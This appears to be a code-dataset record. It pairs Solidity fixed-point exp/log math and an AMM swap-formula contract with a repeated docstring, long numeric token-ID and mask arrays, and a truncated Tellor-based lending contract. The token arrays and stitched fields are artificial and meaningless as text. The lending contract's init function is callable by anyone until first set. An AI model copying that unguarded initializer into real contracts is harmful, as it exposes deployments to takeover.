res += xi * 0x00000000000000000000000000efc40;
// add x^29 * (33! / 29!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000007fe0;
// add x^30 * (33! / 30!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000420;
// add x^31 * (33! / 31!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000021;
// add x^32 * (33! / 32!)
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000001;
// add x^33 * (33! / 33!)
return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision);
// divide by 33! and then add x^1 / 1! + x^0 / 0!
}
/**
* @dev computes log(x / FIXED_1) * FIXED_1
* Input range: FIXED_1 <= x <= OPT_LOG_MAX_VAL - 1
* Auto-generated via 'PrintFunctionOptimalLog.py'
* Detailed description:
* - Rewrite the input as a product of natural exponents and a single residual r, such that 1 < r < 2
* - The natural logarithm of each (pre-calculated) exponent is the degree of the exponent
* - The natural logarithm of r is calculated via Taylor series for log(1 + x), where x = r - 1
* - The natural logarithm of the input is calculated by summing up the intermediate results above
* - For example: log(250) = log(e^4 * e^1 * e^0.5 * 1.021692859) = 4 + 1 + 0.5 + log(1 + 0.021692859)
*/
function optimalLog(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
uint256 w;
if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {
res += 0x40000000000000000000000000000000;
x = (x * FIXED_1) / 0xd3094c70f034de4b96ff7d5b6f99fcd8;
}
// add 1 / 2^1
if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {
res += 0x20000000000000000000000000000000;
x = (x * FIXED_1) / 0xa45af1e1f40c333b3de1db4dd55f29a7;
}
// add 1 / 2^2
if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {
res += 0x10000000000000000000000000000000;
x = (x * FIXED_1) / 0x910b022db7ae67ce76b441c27035c6a1;
}
// add 1 / 2^3
if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {
res += 0x08000000000000000000000000000000;
x = (x * FIXED_1) / 0x88415abbe9a76bead8d00cf112e4d4a8;
}
// add 1 / 2^4
if (x >= 0x84102b00893f64c705e841d5d4064bd3) {
res += 0x04000000000000000000000000000000;
x = (x * FIXED_1) / 0x84102b00893f64c705e841d5d4064bd3;
}
// add 1 / 2^5
if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {
res += 0x02000000000000000000000000000000;
x = (x * FIXED_1) / 0x8204055aaef1c8bd5c3259f4822735a2;
}
// add 1 / 2^6
if (x >= 0x810100ab00222d861931c15e39b44e99) {
res += 0x01000000000000000000000000000000;
x = (x * FIXED_1) / 0x810100ab00222d861931c15e39b44e99;
}
// add 1 / 2^7
if (x >= 0x808040155aabbbe9451521693554f733) {
res += 0x00800000000000000000000000000000;
x = (x * FIXED_1) / 0x808040155aabbbe9451521693554f733;
}
// add 1 / 2^8
z = y = x - FIXED_1;
w = (y * y) / FIXED_1;
res += (z * (0x100000000000000000000000000000000 - y)) / 0x100000000000000000000000000000000;
z = (z * w) / FIXED_1;
// add y^01 / 01 - y^02 / 02
res += (z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y)) / 0x200000000000000000000000000000000;
z = (z * w) / FIXED_1;
// add y^03 / 03 - y^04 / 04
res += (z * (0x099999999999999999999999999999999 - y)) / 0x300000000000000000000000000000000;
z = (z * w) / FIXED_1;
// add y^05 / 05 - y^06 / 06
res += (z * (0x092492492492492492492492492492492 - y)) / 0x400000000000000000000000000000000;
z = (z * w) / FIXED_1;
// add y^07 / 07 - y^08 / 08
res += (z * (0x08e38e38e38e38e38e38e38e38e38e38e - y)) / 0x500000000000000000000000000000000;
z = (z * w) / FIXED_1;
// add y^09 / 09 - y^10 / 10
res += (z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y)) / 0x600000000000000000000000000000000;
z = (z * w) / FIXED_1;
// add y^11 / 11 - y^12 / 12
res += (z * (0x089d89d89d89d89d89d89d89d89d89d89 - y)) / 0x700000000000000000000000000000000;
z = (z * w) / FIXED_1;
// add y^13 / 13 - y^14 / 14
res += (z * (0x088888888888888888888888888888888 - y)) / 0x800000000000000000000000000000000;
// add y^15 / 15 - y^16 / 16
return res;
}
/**
* @dev computes e ^ (x / FIXED_1) * FIXED_1
* input range: 0 <= x <= OPT_EXP_MAX_VAL - 1
* auto-generated via 'PrintFunctionOptimalExp.py'
* Detailed description:
* - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible
* - The exponentiation of each binary exponent is given (pre-calculated)
* - The exponentiation of r is calculated via Taylor series for e^x, where x = r
* - The exponentiation of the input is calculated by multiplying the intermediate results above
* - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859
*/
function optimalExp(uint256 x) internal pure returns (uint256) {
uint256 res = 0;
uint256 y;
uint256 z;
z = y = x % 0x10000000000000000000000000000000;
// get the input modulo 2^(-3)
z = (z * y) / FIXED_1;
res += z * 0x10e1b3be415a0000;
// add y^02 * (20! / 02!)
z = (z * y) / FIXED_1;
res += z * 0x05a0913f6b1e0000;
// add y^03 * (20! / 03!)
z = (z * y) / FIXED_1;
res += z * 0x0168244fdac78000;
// add y^04 * (20! / 04!)
z = (z * y) / FIXED_1;
res += z * 0x004807432bc18000;
// add y^05 * (20! / 05!)
z = (z * y) / FIXED_1;
res += z * 0x000c0135dca04000;
// add y^06 * (20! / 06!)
z = (z * y) / FIXED_1;
res += z * 0x0001b707b1cdc000;
// add y^07 * (20! / 07!)
z = (z * y) / FIXED_1;
res += z * 0x000036e0f639b800;
// add y^08 * (20! / 08!)
z = (z * y) / FIXED_1;
res += z * 0x00000618fee9f800;
// add y^09 * (20! / 09!)
z = (z * y) / FIXED_1;
res += z * 0x0000009c197dcc00;
// add y^10 * (20! / 10!)
z = (z * y) / FIXED_1;
res += z * 0x0000000e30dce400;
// add y^11 * (20! / 11!)
z = (z * y) / FIXED_1;
res += z * 0x000000012ebd1300;
// add y^12 * (20! / 12!)
z = (z * y) / FIXED_1;
res += z * 0x0000000017499f00;
// add y^13 * (20! / 13!)
z = (z * y) / FIXED_1;
res += z * 0x0000000001a9d480;
// add y^14 * (20! / 14!)
z = (z * y) / FIXED_1;
res += z * 0x00000000001c6380;
// add y^15 * (20! / 15!)
z = (z * y) / FIXED_1;
res += z * 0x000000000001c638;
// add y^16 * (20! / 16!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000001ab8;
// add y^17 * (20! / 17!)
z = (z * y) / FIXED_1;
res += z * 0x000000000000017c;
// add y^18 * (20! / 18!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000014;
// add y^19 * (20! / 19!)
z = (z * y) / FIXED_1;
res += z * 0x0000000000000001;
// add y^20 * (20! / 20!)
res = res / 0x21c3677c82b40000 + y + FIXED_1;
// divide by 20! and then add y^1 / 1! + y^0 / 0!
if ((x & 0x010000000000000000000000000000000) != 0)
res = (res * 0x1c3d6a24ed82218787d624d3e5eba95f9) / 0x18ebef9eac820ae8682b9793ac6d1e776;
// multiply by e^2^(-3)
if ((x & 0x020000000000000000000000000000000) != 0)
res = (res * 0x18ebef9eac820ae8682b9793ac6d1e778) / 0x1368b2fc6f9609fe7aceb46aa619baed4;
// multiply by e^2^(-2)
if ((x & 0x040000000000000000000000000000000) != 0)
res = (res * 0x1368b2fc6f9609fe7aceb46aa619baed5) / 0x0bc5ab1b16779be3575bd8f0520a9f21f;
// multiply by e^2^(-1)
if ((x & 0x080000000000000000000000000000000) != 0)
res = (res * 0x0bc5ab1b16779be3575bd8f0520a9f21e) / 0x0454aaa8efe072e7f6ddbab84b40a55c9;
// multiply by e^2^(+0)
if ((x & 0x100000000000000000000000000000000) != 0)
res = (res * 0x0454aaa8efe072e7f6ddbab84b40a55c5) / 0x00960aadc109e7a3bf4578099615711ea;
// multiply by e^2^(+1)
if ((x & 0x200000000000000000000000000000000) != 0)
res = (res * 0x00960aadc109e7a3bf4578099615711d7) / 0x0002bf84208204f5977f9a8cf01fdce3d;
// multiply by e^2^(+2)
if ((x & 0x400000000000000000000000000000000) != 0)
res = (res * 0x0002bf84208204f5977f9a8cf01fdc307) / 0x0000003c6ab775dd0b95b4cbee7e65d11;
// multiply by e^2^(+3)
return res;
}
function setDexConfigor(address _dexConfigor) external onlyDexConfigor {
dexConfigor = _dexConfigor;
}
function setDexSwapFee(uint8 _dexId, uint32 _swapFee) external onlyDexConfigor {
_setDexSwapFee(_dexId, _swapFee);
}
function _setDexSwapFee(uint8 _dexId, uint32 _swapFee) internal {
require(_swapFee < 10000, 'FBP: Invalid swap fee');
dexSwapFee[_dexId] = _swapFee;
dexSupported[_dexId] = true;
emit LogDexSwapFee(_dexId, _swapFee, true);
}
function disableDex(uint8 _dexId) external onlyDexConfigor {
dexSupported[_dexId] = false;
emit LogDexSwapFee(_dexId, dexSwapFee[_dexId], false);
}
function getFactoryReserveAndWeights(address factory, address pair, address tokenA, uint8 dexId) public override view returns (
address tokenB,
uint reserveA,
uint reserveB,
uint32 tokenWeightA,
uint32 tokenWeightB,
uint32 swapFee
) {
(uint reserve0, uint reserve1,) = IFireBirdPair(pair).getReserves();
uint32 tokenWeight0;
uint32 tokenWeight1;
(tokenWeight0, tokenWeight1, swapFee) = getFactoryWeightsAndSwapFee(factory, pair, dexId);
if (tokenA == IFireBirdPair(pair).token0()) {
(tokenB, reserveA, reserveB, tokenWeightA, tokenWeightB) = (IFireBirdPair(pair).token1(), reserve0, reserve1, tokenWeight0, tokenWeight1);
} else if (tokenA == IFireBirdPair(pair).token1()) {
(tokenB, reserveA, reserveB, tokenWeightA, tokenWeightB) = (IFireBirdPair(pair).token0(), reserve1, reserve0, tokenWeight1, tokenWeight0);
} else {
revert("FireBirdFormula: Invalid tokenA");
}
}
/**
* @dev given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset,
*
* Formula:
* return = reserveOut * (1 - (reserveIn * 10000 / (reserveIn * 10000 + amountIn * (10000 - swapFee))) ^ (tokenWeightIn / tokenWeightOut))
*
* @param amountIn source reserve amount
* @param reserveIn source reserve balance
* @param reserveOut target reserve balance
* @param tokenWeightIn source reserve weight, represented in ppm (2-98)
* @param tokenWeightOut target reserve weight, represented in ppm (2-98)
* @param swapFee swap fee of the conversion
*
* @return amountOut
*/
function getAmountOut(
uint amountIn,
uint reserveIn, uint reserveOut,
uint32 tokenWeightIn, uint32 tokenWeightOut,
uint32 swapFee
) public override view returns (uint amountOut) {
// validate input
require(amountIn > 0, 'FireBirdFormula: INSUFFICIENT_INPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, "FireBirdFormula: INSUFFICIENT_LIQUIDITY");
uint amountInWithFee = amountIn.mul(10000 - swapFee);
// special case for equal weights
if (tokenWeightIn == tokenWeightOut) {
return reserveOut.mul(amountInWithFee) / (reserveIn.mul(10000).add(amountInWithFee));
}
uint256 result;
uint8 precision;
uint256 baseN = reserveIn.mul(10000).add(amountInWithFee);
(result, precision) = power(baseN, reserveIn.mul(10000), tokenWeightIn, tokenWeightOut);
uint256 temp1 = reserveOut.mul(result);
uint256 temp2 = reserveOut << precision;
return (temp1 - temp2) / result;
}
/**
* @dev given an output amount of an asset and pair reserves, returns a required input amount of the other asset
*
* Formula:
* return = reserveIn * ( (reserveOut / (reserveOut - amountOut)) ^ (tokenWeightOut / tokenWeightIn) - 1) * (10000/ (10000 - swapFee)
*
* @param amountOut target reserve amount
* @param reserveIn source reserve balance
* @param reserveOut target reserve balance
* @param tokenWeightIn source reserve weight, represented in ppm (2-98)
* @param tokenWeightOut target reserve weight, represented in ppm (2-98)
* @param swapFee swap fee of the conversion
*
* @return amountIn
*/
function getAmountIn(
uint amountOut,
uint reserveIn, uint reserveOut,
uint32 tokenWeightIn, uint32 tokenWeightOut,
uint32 swapFee
) public override view returns (uint amountIn) {
// validate input
require(amountOut > 0, 'FireBirdFormula: INSUFFICIENT_OUTPUT_AMOUNT');
require(reserveIn > 0 && reserveOut > 0, "FireBirdFormula: INSUFFICIENT_LIQUIDITY");
// special case for equal weights
if (tokenWeightIn == tokenWeightOut) {
uint numerator = reserveIn.mul(amountOut).mul(10000);
uint denominator = reserveOut.sub(amountOut).mul(10000 - swapFee);
return (numerator / denominator).add(1);
}
uint256 result;
uint8 precision;
uint256 baseD = reserveOut.sub(amountOut);
(result, precision) = power(reserveOut, baseD, tokenWeightOut, tokenWeightIn);
uint256 baseReserveIn = reserveIn.mul(10000);
uint256 temp1 = baseReserveIn.mul(result);
uint256 temp2 = baseReserveIn << precision;
return (((temp1 - temp2) >> precision) / (10000 - swapFee)).add(1);
}
function getFactoryAmountsOut(address factory, address tokenIn, address tokenOut, uint amountIn, address[] memory path, uint8[] memory dexIds) external override view returns (uint[] memory amounts) {
require(path.length > 0, 'FireBirdFormula: INVALID_PATH');
amounts = new uint[](path.length + 1);
amounts[0] = amountIn;
address currentTokenIn = tokenIn;
for (uint i = 0; i < path.length; i++) {
(address currentTokenOut, uint reserveIn, uint reserveOut, uint32 tokenWeightIn, uint32 tokenWeightOut, uint32 swapFee) = getFactoryReserveAndWeights(factory, path[i], currentTokenIn, dexIds[i]);
amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut, tokenWeightIn, tokenWeightOut, swapFee);
currentTokenIn = currentTokenOut;
}
require(currentTokenIn == tokenOut, 'FireBirdFormula: INVALID_TOKEN_OUT_PATH');
}
function getFactoryAmountsIn(address factory, address tokenIn, address tokenOut, uint amountOut, address[] memory path, uint8[] memory dexIds) external override view returns (uint[] memory amounts) {
require(path.length > 0, 'FireBirdFormula: INVALID_PATH');
amounts = new uint[](path.length + 1);
amounts[amounts.length - 1] = amountOut;
address currentTokenIn = tokenOut;
for (uint i = path.length; i > 0; i--) {
(address currentTokenOut, uint reserveIn, uint reserveOut, uint32 tokenWeightIn, uint32 tokenWeightOut, uint32 swapFee) = getFactoryReserveAndWeights(factory, path[i - 1], currentTokenIn, dexIds[i - 1]);
amounts[i - 1] = getAmountIn(amounts[i], reserveOut, reserveIn, tokenWeightOut, tokenWeightIn, swapFee);
currentTokenIn = currentTokenOut;
}
require(currentTokenIn == tokenIn, 'FireBirdFormula: INVALID_TOKEN_IN_PATH');
}
function getFactoryWeightsAndSwapFee(address factory, address pair, uint8 dexId) public override view returns (uint32 tokenWeight0, uint32 tokenWeight1, uint32 swapFee) {
if (dexId == 0) {
return IFireBirdFactory(factory).getWeightsAndSwapFee(pair);
} else {
if (dexSupported[dexId]) {
return (50, 50, dexSwapFee[dexId]);
} else {
revert("FBF: Dex not supported");
}
}
}
// Ensure constant value reserve0^(tokenWeight0/50) * reserve1^((100 - tokenWeight0)/50) <= balance0Adjusted^(tokenWeight0/50) * balance1Adjusted^((100 - tokenWeight0)/50)
// 1 <= (balance0Adjusted / reserve0 )^(tokenWeight0/50) * (balance1Adjusted/reserve1)^((100 - tokenWeight0)/50)
// (reserve0 / balance0Adjusted) ^ (tokenWeight0/50) <= (balance1Adjusted / reserve1) ^ ((100 - tokenWeight0)/50)
function ensureConstantValue(uint reserve0, uint reserve1, uint balance0Adjusted, uint balance1Adjusted, uint32 tokenWeight0) external override view returns (bool) {
if (tokenWeight0 == 50) {
return balance0Adjusted.mul(balance1Adjusted) >= reserve0.mul(reserve1);
}
if (balance0Adjusted >= reserve0 && balance1Adjusted >= reserve1) {
return true;
}
if (balance0Adjusted <= reserve0 && balance1Adjusted <= reserve1) {
return false;
}
uint32 w0 = tokenWeight0;
uint32 w1 = 100 - w0;
uint r0;
uint p0;
uint r1;
uint p1;
if (balance0Adjusted >= reserve0) {
(r0, p0) = power(reserve1, balance1Adjusted, w1, 50);
(r1, p1) = power(balance0Adjusted, reserve0, w0, 50);
} else {
(r0, p0) = power(reserve0, balance0Adjusted, w0, 50);
(r1, p1) = power(balance1Adjusted, reserve1, w1, 50);
}
uint minP = p0 < p1 ? p0 : p1;
p0 = p0 - minP;
p1 = p1 - minP;
return (r0 >> p0) <= (r1 >> p1);
}
function sortTokens(address tokenA, address tokenB) public pure override returns (address token0, address token1) {
require(tokenA != tokenB, 'FireBirdFormula: IDENTICAL_ADDRESSES');
(token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
require(token0 != address(0), 'FireBirdFormula: ZERO_ADDRESS');
}
function getReserves(address pair, address tokenA, address tokenB) external view override returns (uint reserveA, uint reserveB) {
(address token0, address token1) = sortTokens(tokenA, tokenB);
(uint reserve0, uint reserve1,) = IFireBirdPair(pair).getReserves();
require(token0 == IFireBirdPair(pair).token0() && token1 == IFireBirdPair(pair).token1(), 'FireBirdFormula: Invalid token');
(reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0);
}
function getOtherToken(address pair, address tokenA) external view override returns (address tokenB) {
address token0 = IFireBirdPair(pair).token0();
address token1 = IFireBirdPair(pair).token1();
require(token0 == tokenA || token1 == tokenA, 'FireBirdFormula: Invalid tokenA');
tokenB = token0 == tokenA ? token1 : token0;
}
// given some amount of an asset and pair reserves, returns an equivalent amount of the other asset
function quote(uint amountA, uint reserveA, uint reserveB) external pure override returns (uint amountB) {
require(amountA > 0, 'FireBirdFormula: INSUFFICIENT_AMOUNT');
require(reserveA > 0 && reserveB > 0, 'FireBirdFormula: INSUFFICIENT_LIQUIDITY');
amountB = amountA.mul(reserveB) / reserveA;
}
function mintLiquidityFee(
uint totalLiquidity,
uint112 reserve0,
uint112 reserve1,
uint32 tokenWeight0,
uint32 tokenWeight1,
uint112 collectedFee0,
uint112 collectedFee1) external view override returns (uint amount) {
if (collectedFee0 > 0) {
(uint r0, uint p0) = power(uint(collectedFee0).add(reserve0), reserve0, tokenWeight0, 100);
amount = amount.add(totalLiquidity.mul(r0) >> p0).sub(totalLiquidity);
}
if (collectedFee1 > 0) {
(uint r1, uint p1) = power(uint(collectedFee1).add(reserve1), reserve1, tokenWeight1, 100);
amount = amount.add(totalLiquidity.mul(r1) >> p1).sub(totalLiquidity);
}
}
} | * @dev this function can be auto-generated by the script 'PrintFunctionGeneralExp.py'. it approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!". it returns "e ^ (x / 2 ^ precision) 2 ^ precision", that is, the result is upshifted for accuracy. the global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1". the maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)"./ add x^02 * (33! / 02!) add x^03 * (33! / 03!) add x^04 * (33! / 04!) add x^05 * (33! / 05!) add x^06 * (33! / 06!) add x^07 * (33! / 07!) add x^08 * (33! / 08!) add x^09 * (33! / 09!) add x^10 * (33! / 10!) add x^11 * (33! / 11!) add x^12 * (33! / 12!) add x^13 * (33! / 13!) add x^14 * (33! / 14!) add x^15 * (33! / 15!) add x^16 * (33! / 16!) add x^17 * (33! / 17!) add x^18 * (33! / 18!) add x^19 * (33! / 19!) add x^20 * (33! / 20!) add x^21 * (33! / 21!) add x^22 * (33! / 22!) add x^23 * (33! / 23!) add x^24 * (33! / 24!) add x^25 * (33! / 25!) add x^26 * (33! / 26!) add x^27 * (33! / 27!) add x^28 * (33! / 28!) add x^29 * (33! / 29!) add x^30 * (33! / 30!) add x^31 * (33! / 31!) add x^32 * (33! / 32!) add x^33 * (33! / 33!) divide by 33! and then add x^1 / 1! + x^0 / 0! | function generalExp(uint256 _x, uint8 _precision) internal pure returns (uint256) {
uint256 xi = _x;
uint256 res = 0;
xi = (xi * _x) >> _precision;
res += xi * 0x3442c4e6074a82f1797f72ac0000000;
xi = (xi * _x) >> _precision;
res += xi * 0x116b96f757c380fb287fd0e40000000;
xi = (xi * _x) >> _precision;
res += xi * 0x045ae5bdd5f0e03eca1ff4390000000;
xi = (xi * _x) >> _precision;
res += xi * 0x00defabf91302cd95b9ffda50000000;
xi = (xi * _x) >> _precision;
res += xi * 0x002529ca9832b22439efff9b8000000;
xi = (xi * _x) >> _precision;
res += xi * 0x00054f1cf12bd04e516b6da88000000;
xi = (xi * _x) >> _precision;
res += xi * 0x0000a9e39e257a09ca2d6db51000000;
xi = (xi * _x) >> _precision;
res += xi * 0x000012e066e7b839fa050c309000000;
xi = (xi * _x) >> _precision;
res += xi * 0x000001e33d7d926c329a1ad1a800000;
xi = (xi * _x) >> _precision;
res += xi * 0x0000002bee513bdb4a6b19b5f800000;
xi = (xi * _x) >> _precision;
res += xi * 0x00000003a9316fa79b88eccf2a00000;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000048177ebe1fa812375200000;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000005263fe90242dcbacf00000;
xi = (xi * _x) >> _precision;
res += xi * 0x000000000057e22099c030d94100000;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000057e22099c030d9410000;
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000052b6b54569976310000;
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000004985f67696bf748000;
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000003dea12ea99e498000;
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000031880f2214b6e000;
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000025bcff56eb36000;
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000001b722e10ab1000;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000001317c70077000;
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000cba84aafa00;
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000082573a0a00;
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000005035ad900;
xi = (xi * _x) >> _precision;
res += xi * 0x000000000000000000000002f881b00;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000001b29340;
xi = (xi * _x) >> _precision;
res += xi * 0x00000000000000000000000000efc40;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000007fe0;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000420;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000021;
xi = (xi * _x) >> _precision;
res += xi * 0x0000000000000000000000000000001;
return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision);
}
| 3,737 | [
1,
2211,
445,
848,
506,
3656,
17,
11168,
635,
326,
2728,
296,
5108,
2083,
12580,
2966,
18,
2074,
10332,
518,
26962,
815,
315,
73,
3602,
619,
6,
3970,
312,
10150,
28659,
267,
2142,
81,
367,
30,
7751,
92,
66,
20,
13176,
20,
5,
397,
261,
92,
66,
21,
13176,
21,
5,
397,
1372,
397,
261,
92,
66,
82,
13176,
82,
4442,
18,
518,
1135,
315,
73,
3602,
261,
92,
342,
576,
3602,
6039,
13,
225,
576,
3602,
6039,
3113,
716,
353,
16,
326,
563,
353,
731,
4012,
329,
364,
15343,
18,
326,
2552,
315,
1896,
2966,
1076,
6,
7565,
1517,
315,
14548,
6,
358,
7751,
12,
15724,
17972,
397,
404,
13,
2296,
261,
6694,
67,
3670,
26913,
300,
6039,
3719,
300,
404,
9654,
326,
4207,
15498,
460,
364,
315,
92,
6,
353,
13526,
864,
635,
315,
1896,
2966,
1076,
63,
14548,
65,
1671,
261,
6694,
67,
3670,
26913,
300,
2
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] | [
1,
565,
445,
7470,
2966,
12,
11890,
5034,
389,
92,
16,
2254,
28,
389,
14548,
13,
2713,
16618,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2254,
5034,
14087,
273,
389,
92,
31,
203,
3639,
2254,
5034,
400,
273,
374,
31,
203,
203,
3639,
14087,
273,
261,
27005,
380,
389,
92,
13,
1671,
389,
14548,
31,
203,
3639,
400,
1011,
14087,
380,
374,
92,
5026,
9452,
71,
24,
73,
4848,
5608,
69,
11149,
74,
4033,
10580,
74,
9060,
1077,
17877,
31,
203,
3639,
14087,
273,
261,
27005,
380,
389,
92,
13,
1671,
389,
14548,
31,
203,
3639,
400,
1011,
14087,
380,
374,
92,
20562,
70,
10525,
74,
5877,
27,
71,
23,
3672,
19192,
6030,
27,
8313,
20,
73,
24,
17877,
31,
203,
3639,
14087,
273,
261,
27005,
380,
389,
92,
13,
1671,
389,
14548,
31,
203,
3639,
400,
1011,
14087,
380,
374,
92,
3028,
25,
8906,
25,
70,
449,
25,
74,
20,
73,
4630,
26881,
21,
1403,
24,
5520,
17877,
31,
203,
3639,
14087,
273,
261,
27005,
380,
389,
92,
13,
1671,
389,
14548,
31,
203,
3639,
400,
1011,
14087,
380,
374,
92,
713,
536,
378,
74,
29,
3437,
3103,
4315,
8778,
70,
29,
1403,
2414,
25,
17877,
31,
203,
3639,
14087,
273,
261,
27005,
380,
389,
92,
13,
1671,
389,
14548,
31,
203,
3639,
400,
1011,
14087,
380,
374,
92,
713,
2947,
5540,
5353,
10689,
1578,
70,
23622,
5520,
17098,
74,
29,
70,
28,
9449,
31,
203,
3639,
14087,
273,
261,
27005,
380,
389,
92,
13,
1671,
389,
14548,
31,
203,
3639,
400,
1011,
2
] |
pragma solidity ^0.5.0;
import "./BankStorage.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
/**
* @title Bank
* This contract allows the owner to deposit reserves(debt token), earn interest and
* origination fees from users that borrow against their collateral.
* The oracle for Bank is Tellor.
*/
contract Bank is BankStorage, UsingTellor {
address private _owner;
address private _bankFactoryOwner;
/*Events*/
event ReserveDeposit(uint256 amount);
event ReserveWithdraw(address token, uint256 amount);
event VaultDeposit(address owner, uint256 amount);
event VaultBorrow(address borrower, uint256 amount);
event VaultRepay(address borrower, uint256 amount);
event VaultWithdraw(address borrower, uint256 amount);
event PriceUpdate(address token, uint256 price);
event Liquidation(address borrower, uint256 debtAmount);
/*Constructor*/
constructor(address payable oracleContract) public UsingTellor(oracleContract) {
reserve.oracleContract = oracleContract;
}
/*Modifiers*/
modifier onlyOwner() {
require(_owner == msg.sender, "IS NOT OWNER");
_;
}
/*Functions*/
/**
* @dev Returns the owner of the bank
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev This function sets the fundamental parameters for the bank
* and assigns the first admin
*/
function init(
address creator,
string memory bankName,
uint256 interestRate,
uint256 originationFee,
uint256 collateralizationRatio,
uint256 liquidationPenalty,
uint256 period,
address bankFactoryOwner,
address payable oracleContract) public {
require(reserve.interestRate == 0); // Ensure not init'd already
reserve.interestRate = interestRate;
reserve.originationFee = originationFee;
reserve.collateralizationRatio = collateralizationRatio;
reserve.oracleContract = oracleContract;
reserve.liquidationPenalty = liquidationPenalty;
reserve.period = period;
tellorStorageAddress = oracleContract;
_tellorm = TellorMaster(tellorStorageAddress);
_owner = creator; // Make the creator the first admin
_bankFactoryOwner = bankFactoryOwner;
name = bankName;
}
/**
* @dev This function sets the collateral token properties, only callable one time
*/
function setCollateral(
address collateralToken,
uint256 collateralTokenTellorRequestId,
uint256 collateralTokenPriceGranularity,
uint256 collateralTokenPrice) public onlyOwner {
require(collateral.tokenAddress == address(0)); // Ensure not init'd already
collateral.tokenAddress = collateralToken;
collateral.price = collateralTokenPrice;
collateral.priceGranularity = collateralTokenPriceGranularity;
collateral.tellorRequestId = collateralTokenTellorRequestId;
}
/**
* @dev This function sets the debt token properties, only callable one time
*/
function setDebt(
address debtToken,
uint256 debtTokenTellorRequestId,
uint256 debtTokenPriceGranularity,
uint256 debtTokenPrice) public onlyOwner {
require(debt.tokenAddress == address(0)); // Ensure not init'd already
debt.tokenAddress = debtToken;
debt.price = debtTokenPrice;
debt.priceGranularity = debtTokenPriceGranularity;
debt.tellorRequestId = debtTokenTellorRequestId;
}
/**
* @dev This function allows the Bank owner to deposit the reserve (debt tokens)
* @param amount is the amount to deposit
*/
function reserveDeposit(uint256 amount) external onlyOwner {
require(IERC20(debt.tokenAddress).transferFrom(msg.sender, address(this), amount));
reserve.debtBalance += amount;
emit ReserveDeposit(amount);
}
/**
* @dev This function allows the Bank owner to withdraw the reserve (debt tokens)
* Withdraws incur a 0.5% fee paid to the bankFactoryOwner
* @param amount is the amount to withdraw
*/
function reserveWithdraw(uint256 amount) external onlyOwner {
require(reserve.debtBalance >= amount, "NOT ENOUGH DEBT TOKENS IN RESERVE");
uint256 feeAmount = amount / 200; // Bank Factory collects 0.5% fee
require(IERC20(debt.tokenAddress).transfer(msg.sender, amount - feeAmount));
require(IERC20(debt.tokenAddress).transfer(_bankFactoryOwner, feeAmount));
reserve.debtBalance -= amount;
emit ReserveWithdraw(debt.tokenAddress, amount);
}
/**
* @dev This function allows the user to withdraw their collateral
Withdraws incur a 0.5% fee paid to the bankFactoryOwner
* @param amount is the amount to withdraw
*/
function reserveWithdrawCollateral(uint256 amount) external onlyOwner {
require(reserve.collateralBalance >= amount, "NOT ENOUGH COLLATERAL IN RESERVE");
